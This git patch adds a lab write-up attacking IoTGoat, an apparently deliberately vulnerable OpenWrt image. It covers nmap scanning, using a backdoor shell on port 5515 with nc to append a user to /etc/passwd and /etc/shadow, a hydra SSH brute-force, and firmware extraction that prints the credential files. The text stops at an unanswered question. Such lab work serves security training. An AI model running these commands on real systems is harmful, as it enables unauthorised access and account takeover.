From e9d1b989ee8df72b4c63f61f0193d095e41daabe Mon Sep 17 00:00:00 2001 From: TuDatTr Date: Sun, 15 Aug 2021 13:09:50 +0200 Subject: [PATCH] Initial commit --- writeup.org | 427 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 427 insertions(+) create mode 100644 writeup.org diff --git a/writeup.org b/writeup.org new file mode 100644 index 0000000..4e30aa0 --- /dev/null +++ b/writeup.org @@ -0,0 +1,427 @@ +#+TITLE: Vulnerability Analysis - Writeup +#+SETUPFILE: ~/Templates/Org-Mode/setupfile.org +#+OPTIONS: toc:t + +* Vulnerabilty Analysis + Given files: + #+begin_src sh :results output :exports results :cache yes + ls ./data/ -lA + #+end_src + + #+RESULTS[b2b904e2665f4fe09a69e1facbda3d22aa1d52a2]: + : total 17492 + : -rw-r--r-- 1 tuan tuan 424 Jun 29 13:33 passwords.txt + : -rw-r--r-- 1 tuan tuan 8126464 Jun 29 13:33 Syssec IoT Device.bin + : -rw-r--r-- 1 tuan tuan 9778176 Jun 29 13:33 Sysssec IoT Device.ova + + - ~passwords.txt~: Password list for brute forcing + #+begin_src sh :results output :exports results :cache yes + file ./data/passwords.txt + #+end_src + + #+RESULTS[9887fd52d26be897f6fa843f548990b642144182]: + : ./data/passwords.txt: ASCII text + + - ~Syssec IoT Device.bin~: Firmware binary of target for static analysis + #+begin_src sh :results output :exports results :cache yes + file ./data/Syssec\ IoT\ Device.bin + #+end_src + + #+RESULTS[ff51c377441d9f7dfd0c734d31c0893feeede0a8]: + : ./data/Syssec IoT Device.bin: firmware 4300 v1 OpenWrt r16916-7f946a880a, 8126464 bytes or less, at 0x200 2054221 bytes , at 0x1f5a50 2813038 bytes + + - ~Sysssec IoT Device.ova~: Virtual Box image of target for dynamic analysis + #+begin_src sh :results output :exports results :cache yes + file ./data/Sysssec\ IoT\ Device.ova + #+end_src + + #+RESULTS[53c007a32b9011d7a105840e3be7f389f9b36f8f]: + : ./data/Sysssec IoT Device.ova: POSIX tar archive + +** Run device + I import the ~Syssec IoT Device.ova~ file into VirtualBox, which resulted in multiple errors. + - Network Error + #+begin_example +Could not start the machine Sysssec IoT Device because the following physical network interfaces Ire not found: +vboxnet0 (adapter 1) +You can either change the machine's network settings or stop the machine. + #+end_example + + To fix this error I had to attatch a virtual networking device to the Virtual Machine (VM), I chose Network address translation (NAT). + + - USB Error + After fixing the previous error a new error occured + #+begin_example +Implementation of the USB 2.0 controller not found! +Because the USB 2.0 controller state is part of the saved VM state, the VM cannot be started. To fix this problem, either install the 'Oracle VM VirtualBox Extension Pack' or disable USB 2.0 support in the VM settings. +Note! This error could also mean that an incompatible version of the 'Oracle VM VirtualBox Extension Pack' is installed (VERR_NOT_FOUND). + #+end_example + The error message instructs us to install the ~Oracle VM VirtualBox Extension Pack~, lead the the same error. + So I tried to disable USB 2.0 support as the error message suggests, which made it possible to boot up the VM. + +** Obtain IP address + Obtaining the devices IP address proved difficult as I had no ~vboxnet0~ interface. + To do this I had to add a network interface on the Virtual Box management interface. + + After doing that I got the necessary network interface. + #+begin_src sh :results output :exports results :cache yes + ifconfig vboxnet0 + #+end_src + + #+RESULTS[9d5f961de2b4099f71f6cf401b22583d3a072f1c]: + : vboxnet0: flags=4163 mtu 1500 + : inet 192.168.56.1 netmask 255.255.255.0 broadcast 192.168.56.255 + : inet6 fe80::800:27ff:fe00:0 prefixlen 64 scopeid 0x20 + : ether 0a:00:27:00:00:00 txqueuelen 1000 (Ethernet) + : RX packets 0 bytes 0 (0.0 B) + : RX errors 0 dropped 0 overruns 0 frame 0 + : TX packets 1072 bytes 48322 (47.1 KiB) + : TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 + : + + Afterwards an arpscan was possible: + #+begin_src sh :results output :exports results :cache yes :dir /sudo::. :async + arp-scan --interface vboxnet0 --local + #+end_src + + #+RESULTS[6cf7ca6c49cdd14e88679b74c1caacd634f3f90a]: + : Interface: vboxnet0, type: EN10MB, MAC: 0a:00:27:00:00:00, IPv4: 192.168.56.1 + : Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) + : 192.168.56.100 08:00:27:9c:58:bf PCS Systemtechnik GmbH + : 192.168.56.101 08:00:27:ec:b3:cb PCS Systemtechnik GmbH + : + : 2 packets received by filter, 0 packets dropped by kernel + : Ending arp-scan 1.9.7: 256 hosts scanned in 1.975 seconds (129.62 hosts/sec). 2 responded + + This yielded us two IP Addresses: + - 192.168.56.100 + - 192.168.56.101 + +** Vulnerable network services + Scanning both devices with nmap shows, that ~192.168.56.100~ doesn't have open ports, so it doesnt seem to be our target device. + + Here I simply create a variable for our targets IP-address, so we don't have to remember it and enter it manually. + #+begin_src sh :exports none :cache yes + TARGET=192.168.56.101 + echo $TARGET + #+end_src + + #+RESULTS[e651e12124dbd06fdedd668151d35ece3ac2dd42]: + : 192.168.56.101 + + ~192.168.56.101~ returns the following nmap scan: + #+begin_src sh :results output :exports both :cache yes :eval query :var TARGET="192.168.56.101" :async + nmap $TARGET -p- + #+end_src + + #+RESULTS[abdd9931accb0b2a75ae935a706feaf4d361f9c7]: + #+begin_example + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-30 14:50 CEST + Nmap scan report for 192.168.56.101 + Host is up (0.00076s latency). + Not shown: 65529 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 53/tcp open domain + 80/tcp open http + 443/tcp open https + 5515/tcp open unknown + 65534/tcp open unknown + + Nmap done: 1 IP address (1 host up) scanned in 2626.73 seconds + #+end_example + + After determining the open ports we can do a service scan(~-sV~) to find out which public facing services are running on the device. + + #+begin_src sh :results output :exports both :cache yes :eval query :var TARGET="192.168.56.101" :async + nmap $TARGET -sV -sC -p22,53,80,443,5515, 65534 + #+end_src + + #+RESULTS[e38ef99c5c3c754b54d93c59593bdb167a14bfda]: + #+begin_example + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-30 15:58 CEST + Nmap scan report for 192.168.56.101 + Host is up (0.00058s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh Dropbear sshd (protocol 2.0) + 53/tcp open domain dnsmasq 2.73 + | dns-nsid: + |_ bind.version: dnsmasq-2.73 + 80/tcp open http LuCI Lua http config + |_http-title: Did not follow redirect to https://192.168.56.101/ + 443/tcp open ssl/http LuCI Lua http config + |_http-title: Site doesn't have a title (text/html). + | ssl-cert: Subject: commonName=OpenWrt/organizationName=OpenWrtb63cc26f/stateOrProvinceName=Somewhere/countryName=ZZ + | Not valid before: 2021-06-10T16:38:31 + |_Not valid after: 2023-06-10T16:38:31 + |_ssl-date: 2021-06-30T14:01:34+00:00; -2s from scanner time. + 5515/tcp open unknown + | fingerprint-strings: + | DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL, SMBProgNeg, SSLSessionReq, X11Probe: + | [***]Successfully Connected to IoTGoat's Backdoor[***] + | GenericLines: + | [***]Successfully Connected to IoTGoat's Backdoor[***] + | found + | found + | GetRequest: + | [***]Successfully Connected to IoTGoat's Backdoor[***] + | GET: not found + | found + | HTTPOptions, RTSPRequest: + | [***]Successfully Connected to IoTGoat's Backdoor[***] + | OPTIONS: not found + | found + | Help: + | [***]Successfully Connected to IoTGoat's Backdoor[***] + | HELP + | found + | Kerberos: + | [***]Successfully Connected to IoTGoat's Backdoor[***] + | found + | RPCCheck: + | [***]Successfully Connected to IoTGoat's Backdoor[***] + | syntax error: unexpected word (expecting ")") + | TLSSessionReq: + | [***]Successfully Connected to IoTGoat's Backdoor[***] + | random1random2random3random4 + | found + | TerminalServerCookie: + | [***]Successfully Connected to IoTGoat's Backdoor[***] + |_ Cookie:: not found + 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : + SF-Port5515-TCP:V=7.91%I=7%D=6/30%Time=60DC789C%P=x86_64-unknown-linux-gnu + SF:%r(NULL,37,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x20B + SF:ackdoor\[\*\*\*\]\n")%r(GenericLines,59,"\[\*\*\*\]Successfully\x20Conn + SF:ected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\nsh:\x20\r:\x20not\x20fo + SF:und\nsh:\x20\r:\x20not\x20found\n")%r(GetRequest,5B,"\[\*\*\*\]Successf + SF:ully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\nsh:\x20GET: + SF:\x20not\x20found\nsh:\x20\r:\x20not\x20found\n")%r(HTTPOptions,5F,"\[\* + SF:\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\ + SF:]\nsh:\x20OPTIONS:\x20not\x20found\nsh:\x20\r:\x20not\x20found\n")%r(RT + SF:SPRequest,5F,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x2 + SF:0Backdoor\[\*\*\*\]\nsh:\x20OPTIONS:\x20not\x20found\nsh:\x20\r:\x20not + SF:\x20found\n")%r(RPCCheck,69,"\[\*\*\*\]Successfully\x20Connected\x20to\ + SF:x20IoTGoat's\x20Backdoor\[\*\*\*\]\nsh:\x20syntax\x20error:\x20unexpect + SF:ed\x20word\x20\(expecting\x20\"\)\"\)\n")%r(DNSVersionBindReqTCP,37,"\[ + SF:\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\ + SF:*\]\n")%r(DNSStatusRequestTCP,37,"\[\*\*\*\]Successfully\x20Connected\x + SF:20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\n")%r(Help,4C,"\[\*\*\*\]Succes + SF:sfully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\nsh:\x20HE + SF:LP\r:\x20not\x20found\n")%r(SSLSessionReq,37,"\[\*\*\*\]Successfully\x2 + SF:0Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\n")%r(TerminalServe + SF:rCookie,52,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x20B + SF:ackdoor\[\*\*\*\]\nsh:\x20\x03\*%\xe0Cookie::\x20not\x20found\n")%r(TLS + SF:SessionReq,70,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x + SF:20Backdoor\[\*\*\*\]\nsh:\x20\x16\x03i\x01e\x03\x03U\x1c\xa7\xe4random1 + SF:random2random3random4\x0c/:\x20not\x20found\n")%r(Kerberos,57,"\[\*\*\* + SF:\]Successfully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\ns + SF:h:\x20qj\x81n0\x81k\xa1\x03\x02\x01\x05\xa2\x03\x02\x01:\x20not\x20foun + SF:d\n")%r(SMBProgNeg,37,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoT + SF:Goat's\x20Backdoor\[\*\*\*\]\n")%r(X11Probe,37,"\[\*\*\*\]Successfully\ + SF:x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\n"); + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Host script results: + |_clock-skew: -2s + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 2 IP addresses (1 host up) scanned in 172.82 seconds + #+end_example + + With the backdoor detected on port ~5515~ we can netcat onto it and get a shell. + + To add the user =tuan= and with the password =password= we executed the following code snippets: + #+begin_src sh :results output :exports code :cache yes :var TARGET="192.168.56.101" :async + echo "echo tuan:x:1001:1001::/root:/bin/ash >> /etc/passwd;exit" | nc -nv $TARGET 5515 + echo 'echo tuan:\$1\$123456\$qqQvjw0PqIk7otmzNsUIN0:18145:0:99999:7::: >> /etc/shadow;exit' | nc -nv $TARGET 5515 + echo "tuan:x:1001:1001::/root:/bin/ash" + echo 'tuan:$1$123456$qqQvjw0PqIk7otmzNsUIN0:18145:0:99999:7:::' + #+end_src + + #+RESULTS[039dc4a8dc6a45686ec7e97d0ac51c628ce93b00]: + : [***]Successfully Connected to IoTGoat's Backdoor[***] + : [***]Successfully Connected to IoTGoat's Backdoor[***] + : tuan:x:1001:1001::/root:/bin/ash + : tuan:$1$123456$qqQvjw0PqIk7otmzNsUIN0:18145:0:99999:7::: + + Afterwards we were able to log into our user via ~ssh~ + + The password was generated with + #+begin_src sh :exports code :cache yes + openssl passwd -1 -salt 123456 password + #+end_src + + #+RESULTS[fd600f0a8ab1f15294d0abffc27f4f11ff37c46b]: + : $1$123456$qqQvjw0PqIk7otmzNsUIN0 + +** Brute-force Login + + To brute force login via ~ssh~ on the user =iotgoatuser= we simply ran + #+begin_src sh :results output :exports both :cache yes :var TARGET="192.168.56.101" :async + hydra -l iotgoatuser -P ./data/passwords.txt ssh://$TARGET -t 4 -f + #+end_src + + #+RESULTS[42182e6d888539352b4c89c24f7f634924c5b5f5]: + : Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). + : + : Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-30 18:45:45 + : [DATA] max 4 tasks per 1 server, overall 4 tasks, 60 login tries (l:1/p:60), ~15 tries per task + : [DATA] attacking ssh://192.168.56.101:22/ + : [22][ssh] host: 192.168.56.101 login: iotgoatuser password: 7ujMko0vizxv + : [STATUS] attack finished for 192.168.56.101 (valid pair found) + : 1 of 1 target successfully completed, 1 valid password found + : Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-30 18:45:51 + + Another way would have been to get the ~/etc/shadow~ entry of ~iotgoatuser~ and cracking it localy with john to circumvent + any restrictions given by ~ssh~ like ~fail2ban~ etc. (even though restrictions like that are unlikly on an IoT device). + +** Man-in-the-middle Attack + When visiting the webinterface of the IoT device we are greeted with =Warning: Potential Security Risk Ahead=, when using Firefox + #+begin_example + Warning: Potential Security Risk Ahead + + Firefox detected a potential security threat and did not continue to 192.168.56.101. If you visit this site, attackers could try to steal information like your passwords, emails, or credit card details. + #+end_example + + When pressing on =Advanced...= we get some additional information about the error. + + #+begin_example +192.168.56.101 uses an invalid security certificate. + +The certificate is not trusted because it is self-signed. + +Error code: MOZILLA_PKIX_ERROR_SELF_SIGNED_CERT + #+end_example + +*** Why do you get this warning message? + The reason why the warning message is shown is: + + #+begin_example + The certificate is not trusted because it is self-signed. + #+end_example + + as stated in the error message. + +*** What could be done to +get+ prevent this message? + One could simply ignore the error by pressing =Accept the Risk and Continue= + +*** Why is it in general hard to fix this problem for IoT devices? + The vendor would have to create an individual certificate for each of his devices. + Additionally each IoT device would need to regularily update it's certificate before it expires. + +*** Analysis + Trying to login with the previously obtained credentials: + #+begin_example + user: iotgoatuser + password: 7ujMko0vizxv + #+end_example + unfortunatly didn't work. + +**** Burp Suite + Firing up Burp and utilizing its internal chromium browser we try to login again. + + We can see, that our request looked like this: + #+begin_example +POST /cgi-bin/luci HTTP/1.1 +Host: 192.168.56.101 +Content-Length: 52 +Cache-Control: max-age=0 +Sec-Ch-Ua: "Chromium";v="91", " Not;A Brand";v="99" +Sec-Ch-Ua-Mobile: ?0 +Upgrade-Insecure-Requests: 1 +Origin: https://192.168.56.101 +Content-Type: application/x-www-form-urlencoded +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 +Sec-Fetch-Site: same-origin +Sec-Fetch-Mode: navigate +Sec-Fetch-User: ?1 +Sec-Fetch-Dest: document +Referer: https://192.168.56.101/cgi-bin/luci +Accept-Encoding: gzip, deflate +Accept-Language: en-US,en;q=0.9 +Connection: close + +luci_username=iotgoatuser&luci_password=7ujMko0vizxv + #+end_example + + Trying to run sqlmap on the website didn't yield any results. + #+begin_src sh :results code :output none :eval no + sqlmap -u https://192.168.56.101/cgi-bin/luci --data "luci_username=iotgoatuser&luci_password=7ujMko0vizxv" + #+end_src + + Throwing the original response of the website and the response after entering a wrong username/password combination didn't reveal any additional info. + + #+CAPTION[authdiff]: Diff default response and "invalid username and/or password" response + #+NAME: authdiff + [[./21-06-30_15-59-14-java.png]] + + + +** Analysis of Firmware Ima+ga+ge + +*** Recon + #+begin_src sh :results output :exports both + binwalk ./data/Syssec\ IoT\ Device.bin + #+end_src + + #+RESULTS: + : + : DECIMAL HEXADECIMAL DESCRIPTION + : -------------------------------------------------------------------------------- + : 512 0x200 LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 6562339 bytes + : 2054736 0x1F5A50 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 2813038 bytes, 869 inodes, blocksize: 262144 bytes, created: 2021-06-09 11:16:45 + : + +*** Extraction + + The extraction is done by using the previously obtained information. + #+begin_src sh :exports code :eval no + dd if=data/Syssec\ IoT\ Device.bin of=0x1F5A50 bs=1 skip=2054736 count=2813038 + unsquashfs 0x1F5A50 + #+end_src + + The extracted filesystem is under ~./squashfs-root/~. +*** Analysis +**** Are you able to find the passwd and shadow file? What do they contain? + + #+begin_src sh :results output :exports both :cache yes + cat squashfs-root/etc/passwd + #+end_src + + #+RESULTS[bd599bdf9427946dd840747246866b138d5bfdd2]: + : root:x:0:0:root:/root:/bin/ash + : daemon:*:1:1:daemon:/var:/bin/false + : ftp:*:55:55:ftp:/home/ftp:/bin/false + : network:*:101:101:network:/var:/bin/false + : nobody:*:65534:65534:nobody:/var:/bin/false + : ntp:x:123:123:ntp:/var/run/ntp:/bin/false + : dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false + : logd:x:514:514:logd:/var/run/logd:/bin/false + : ubus:x:81:81:ubus:/var/run/ubus:/bin/false + + #+begin_src sh :results output :exports both :cache yes + cat squashfs-root/etc/shadow + #+end_src + + #+RESULTS[d9dfe9a0e2a42424fee063c6190ed3b715ff967e]: + : root::0:0:99999:7::: + : daemon:*:0:0:99999:7::: + : ftp:*:0:0:99999:7::: + : network:*:0:0:99999:7::: + : nobody:*:0:0:99999:7::: + : ntp:x:0:0:99999:7::: + : dnsmasq:x:0:0:99999:7::: + : logd:x:0:0:99999:7::: + : ubus:x:0:0:99999:7::: + +**** Do you find certificates? + #+begin_src sh :results output :exports both :cache yes + find squashfs-root/ -name "*.crt" + #+end_src + + #+RESULTS[d7b10ade4d4eb27ef98ba27e87a87601d79a9c0f]: + : squashfs-root/etc/ssl/certs/ca-certificates.crt + +**** Can you find the secret developer diagnostics page?